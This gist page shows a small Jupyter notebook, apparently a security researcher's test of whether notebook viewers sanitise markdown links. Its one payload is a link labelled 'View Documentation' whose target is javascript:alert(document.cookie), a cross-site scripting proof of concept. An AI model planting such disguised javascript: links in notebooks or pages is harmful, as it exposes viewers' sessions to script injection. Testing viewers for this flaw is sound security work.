secresearcher01 revised this gist 21 hours ago. Go to revision
1 file changed, 39 insertions
xss_test.ipynb(file created)
| @@ -0,0 +1,39 @@ | |||
| 1 | + | { | |
| 2 | + | "cells": [ | |
| 3 | + | { | |
| 4 | + | "cell_type": "markdown", | |
| 5 | + | "metadata": {}, | |
| 6 | + | "source": [ | |
| 7 | + | "# Security Test Notebook\n", | |
| 8 | + | "\n", | |
| 9 | + | "Click the link below for documentation:\n", | |
| 10 | + | "\n", | |
| 11 | + | "[View Documentation](javascript:alert(document.cookie))\n", | |
| 12 | + | "\n", | |
| 13 | + | "This tests markdown rendering in Jupyter notebook viewers." | |
| 14 | + | ] | |
| 15 | + | }, | |
| 16 | + | { | |
| 17 | + | "cell_type": "code", | |
| 18 | + | "execution_count": 1, | |
| 19 | + | "metadata": {}, | |
| 20 | + | "outputs": [], | |
| 21 | + | "source": [ | |
| 22 | + | "print('hello world')" | |
| 23 | + | ] | |
| 24 | + | } | |
| 25 | + | ], | |
| 26 | + | "metadata": { | |
| 27 | + | "kernelspec": { | |
| 28 | + | "display_name": "Python 3", | |
| 29 | + | "language": "python", | |
| 30 | + | "name": "python3" | |
| 31 | + | }, | |
| 32 | + | "language_info": { | |
| 33 | + | "name": "python", | |
| 34 | + | "version": "3.9.0" | |
| 35 | + | } | |
| 36 | + | }, | |
| 37 | + | "nbformat": 4, | |
| 38 | + | "nbformat_minor": 4 | |
| 39 | + | } | |
Newer
Older